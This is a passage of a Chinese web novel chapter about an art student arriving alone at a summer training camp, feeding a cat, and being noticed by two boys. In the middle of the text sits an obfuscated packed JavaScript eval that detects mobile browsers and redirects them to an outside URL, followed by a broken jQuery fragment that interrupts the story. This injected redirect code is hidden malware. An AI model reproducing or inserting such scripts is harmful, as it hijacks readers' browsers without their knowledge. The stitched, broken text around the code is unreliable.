行李箱的轮子碾过水泥地,发出咕噜咕噜声,打破了寂静的校园。
周未推着行李箱,背上背着大大的画袋,夏天的天气总是很燥热,没走几步额头上便布满细密的汗珠。
班主任曾琛开完会收到消息马不停蹄赶来,接过她手里的颜料盒,看了眼她身后,微皱着眉:“你家长呢?”
来画室集训的同学大多数父母都是陪着进来,再贴心地替自家孩子铺好被子,最后陪到教室讲几句拜托老师的敬话才离开。
像周未这样独自前来的实在是少。
周未早料到会有老师这么问,没有隐瞒如实告知:“我妈把我送门口就走了。”随后摸了摸鼻子,有些不好意思:“我好不容易上学了,她很开心,去逛街了。”
周未是美术生,在高二下半年末和高三上半年会进行一场长达小半年的集训,只为在十二月的联考取得好成绩。
自从原本的高中放人后,周未便在家呆了十多天,上蹿下跳,把家里搞得乌烟瘴气,还是谭女士,也就是她妈,好说歹说才把这位小祖宗哄去集训。
在学校受了好几个月的累,她本想在家先待个二十天,等到了放暑假时间再去。还剩几天,结果她还没开口谭女士就已经受不了她了,连夜给她收拾行李,第二天一早急匆匆给她送来,又急匆匆离开,开开心心逛街庆祝去了。一点留恋都没有。
还真是...亲妈。
曾琛没想到她妈妈这么...开明,尴尬地笑着:“那行,我先带你去宿舍。”
“好的。”说完乖巧地跟在曾老师的身后。
两人走在校园里,曾琛一手帮忙提着颜料盒,另一只手指向不远处的建筑,介绍道:“那个是食堂,十一点半放学。然后旁边的是超市,画材和零食里面都有卖。”
顺着曾老师手指的方向看去,两个一层高的房子紧紧挨着。
曾琛带着周未走到食堂门口,“你先在这等着,我去给你去办个超市卡。”
“好。”
曾琛朝着超市走去。
周未松开握在行李箱拉杆上的手,将背上的画袋卸下靠在面前的槐花树上,又从口袋里掏出几张干净的卫生纸铺在旁边的石阶上,一屁股坐了上去。
她掏出手机,悠闲晃着小腿,等待老师回来。
这次集训,周未对自己有着严厉要求。认真听讲,努力画画,得第一,还是一定要得第一。
周未美术成绩不错,在高中是专业第一。虽然画室鱼龙混杂,高手数不胜数,但她有信心能拿下画室第一。
不过她不知道,就在前几天,画室举办了场小测,这第一已经被人夺走。也不知道,在不久的将来她会与这第一结识,并还因为他搞得一身伤。
忽然,小腿顿时传来毛茸茸的触感,很痒。她的视线从手机移到脚下,一只小三花正蹭着她的小腿。
小三花身上很干净,毛色有光泽,一看就是被养得很好。
周未立即蹲下来,将手机放在地上,手掌轻轻抚摸小三花毛茸茸的脑袋,它舒服地发出呼噜呼噜声。
她轻声问:“你是饿了吗?”
回应她的是喵喵叫。
周未掏了掏口袋,幸好出门时随手装了两根小火腿肠。
剥开火腿肠的外衣,把火腿肠掰成一小块一小块的,给它放在地上。
看着小三花狼吞虎咽吃着,她笑了起来,梨涡在唇角荡开,露出了两颗小虎牙。
与此同时,联考一班静悄悄的,只能听见涮笔的声音。
坐在窗边的少年猫着腰,正百无聊赖地搅拌颜料。
画了一节课了,他实在画不下去了,要不是老师开会去了,他也不敢偷懒。
他低低叹了口气,刚坐直身子活动活动筋骨,往窗外随意一瞥,顿时定住了身子,右手还保持着揉脖子的动作,他脱口而出:“卧槽!”
他说话声音很小,除了坐在他旁边的人,其他人并没有听见。
看了许久,他像是想起什么,摇了摇身旁正补觉的陆杳,“陆杳,我好像,看见了仙女。”
“......”
好半晌,靠在画椅上的陆杳拿下盖在头上的外套,眉眼间满是不耐烦。
他看着身旁的人,没好气骂道:“顾承初你是不是有病?”
昨晚画作业画到凌晨,本来就困,好不容易有个偷懒时间还被这货给打扰了。
但,即使陆杳再生气,为了不打扰其他人,骂他也只是小声地骂。
对此,对顾承初完全没有任何的杀伤力。
顾承初一手捂着心脏,一手指着窗外,又重复了遍刚才的话:“陆杳,我看见了仙女,我感觉我的心脏已经不受控制了,它好像它好像快要跳出来了!”
陆杳听着他夸张的形容,眉头微微皱起,顺着他手指指的方向看去,一名少女正蹲在地上喂着画室的学姐。
周未一袭淡粉色古典短裙,胸前的盘扣是按照古法样式做的,袖边的图案更是涵着古色韵味。她头发挽着,精致小巧的五官,显得整个人很是秀气。
她蹲在地上,阳光透过树叶洒在她的身上,为她镀了一层金光,甚至每一根头发丝都发着光。
美得与周围环境格格不入。
陆杳紧皱的眉眼不知不觉间舒缓了下来,他不禁多看了几眼。
这时曾老师手里拿着超市卡走到她旁边,嘴唇嚅动不知在说着什么。下一秒,周未站起身,重新背起靠在槐花树上的画袋,推着行李箱跟在曾老师后面。
直到两人进了楼,再也不见身影,陆杳才收回视线。
一旁的顾承初遗憾地咂咂嘴,他还没看够呢,也不知道老师会把她安排在哪班。这么想着,他扭头问陆杳,“怎么样,仙女好看吧?”
陆杳淡淡回道:“还行。”瞥了他一眼,突然来了句:“再好看,你也配不上。”
“你什么意思?”
“字面意思。”
这是在说他丑?顾承初刚想骂街就见他重新将衣服盖在脑袋上,继续睡觉。
靠!
一股火无处发泄,最后窝窝囊囊咽下这口气。拿出随身携带的小镜子欣赏起自己的美貌,镜中的少年眉毛很浓,今天还特意打理了下头发,发尾处带点小卷。
他摆弄着头发,小声自恋道:“这也不丑啊,挺帅的嘛。”
下课铃声响起,顾承初拉着陆杳出去透气,看看能不能碰到刚刚的仙女。
现在是大课间,学生们涌出来,楼道里顿时变得热闹。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17169263|196816||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
顾承初絮絮叨叨和陆杳讲着刚才看见的仙女,前者满心悸动,而后者则是一脸不耐烦。
见到曾琛迎面走来,顾承初像是发现了惊天宝藏,眸中顿时亮起光来。他立马上前揽住曾琛的脖子,“曾哥上午好啊,一晚没见简直是如隔三秋啊!”
曾琛白了他一眼,“你少来,你小子指定没憋什么好屁。”
顾承初嘿嘿一笑,他确实没憋什么好屁,试探问道:“曾哥,我刚看见你带着一个学生,新来的吗?”
曾琛:“是啊,咋了?”
“你打算把她放哪班?我们一班目前没有位置了。”他想了好半天才决定这么问,要不然显得太刻意了。
曾琛回答:“二班。”
顾承初哦了一声。
一班和二班不在一栋楼,隔得有点远啊。
他又跟曾琛聊了好久才放他离开。
盯着曾琛离开的背影,顾承初侧着脑袋说:“陆杳我刚问了,那个仙女在二班。”
上课补觉被顾承初摇醒后怎么也睡不着,本来就烦,好不容易要睡着了却被他拉着出来,刚又调转方向和曾老师聊天耽误时间。陆杳此时此刻怒气值达到了顶峰,睨了他一眼,说话跟吃了枪药似的:“我耳朵没聋。”
话落,他转身就走,没有去超市也没有继续透气,而是回了班级。
这回,谁都不能打扰他补觉!
顾承初这个罪魁祸首还不自知,追在他身后问:“陆杳你怎么还生气了?”
此时此刻,陆杳想刀了他的心都有。
周未收拾完行李正巧到了上课时间。
画室内却很安静,只有炭笔在划在画纸上的哗哗声。小画家们坐在画椅上埋头苦画,他们戴着耳机,耳机里播放的音乐将这些噪音统统隔绝在外。吹着空调,外面和屋内简直是两个温度,完全感受不到热。
同学们各自画着自己的画,互不干扰。但也有几个画不下去的同学小声聊着天,聊得内容无非就是中午吃什么,晚上吃什么,还会夹杂着一丝八卦。可周围的人却跟听不见似的,完全影响不到他们,只专心画着自己手中的画。
其实只要他们不讲得太大声,大家都不会说什么。
周未站在原地与正在上课同学们完全不一样,她整个人透着满满的精气神,而他们像是被吸干了。集训是一件又累又痛苦的事情,那些早早开始集训的同学已经没了往日的精气神。
她所在这个班级里面的同学都是很早就来集训了,最早三月份,最晚也是六月份。而周未是他们班最晚到的,精气十足,还没有遭到集训“毒打”。
曾琛巡视教室,“我先给你找个地方坐。”声音不大但离得近的同学却能听到。
“好的,谢谢老师。”周未礼貌道谢。
过了三秒。
“你就先坐那吧。”曾琛指了指靠墙的位置。
那个地方空旷,旁边的位置也是空的,但东西却在,应该是上厕所去了。
这么想着,周未已经走到那个位置,放下画袋,拿出画架,画板,还有一系列画画所用的工具。
开始支画架。
画了一小时便到了吃饭的时间。
周未放下画笔,独自前往食堂。